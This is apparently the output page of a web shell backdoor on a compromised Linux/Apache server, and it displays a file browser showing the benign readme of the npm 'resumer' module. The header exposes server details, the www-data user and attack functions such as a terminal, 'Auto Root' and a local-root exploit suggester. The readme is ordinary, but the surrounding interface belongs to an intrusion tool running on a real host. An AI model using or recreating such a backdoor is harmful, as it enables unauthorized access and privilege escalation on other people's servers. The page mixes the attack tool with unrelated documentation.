Linux v69820.1blu.de 4.15.0 #1 SMP Mon Sep 30 15:36:27 MSK 2024 x86_64
Apache/2.4.58
Server IP : 195.90.215.149 & Your IP : 216.73.216.250
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
doc /
node-resumer /
Delete
Unzip
Name
Size
Permission
Date
Action
examples
[ DIR ]
drwxr-xr-x
2023-12-23 20:12
changelog.Debian.gz
723
B
-rw-r--r--
2022-12-04 13:01
copyright
1.42
KB
-rw-r--r--
2022-12-04 13:01
readme.markdown
1.15
KB
-rw-r--r--
2013-05-17 22:20
Save
Rename
# resumer Return a through stream that starts out paused and resumes on the next tick, unless somebody called `.pause()`. This module has the same signature as [through](https://npmjs.com/package/through). [](http://ci.testling.com/substack/resumer) [](http://travis-ci.org/substack/resumer) # example ``` js var resumer = require('resumer'); var s = createStream(); s.pipe(process.stdout); function createStream () { var stream = resumer(); stream.queue('beep boop\n'); return stream; } ``` ``` $ node example/resume.js beep boop ``` # methods ``` js var resumer = require('resumer') ``` ## resumer(write, end) Return a new through stream from `write` and `end`, which default to pass-through `.queue()` functions if not specified. The stream starts out paused and will be resumed on the next tick unless you call `.pause()` first. `write` and `end` get passed directly through to [through](https://npmjs.com/package/through). # install With [npm](https://npmjs.org) do: ``` npm install resumer ``` # license MIT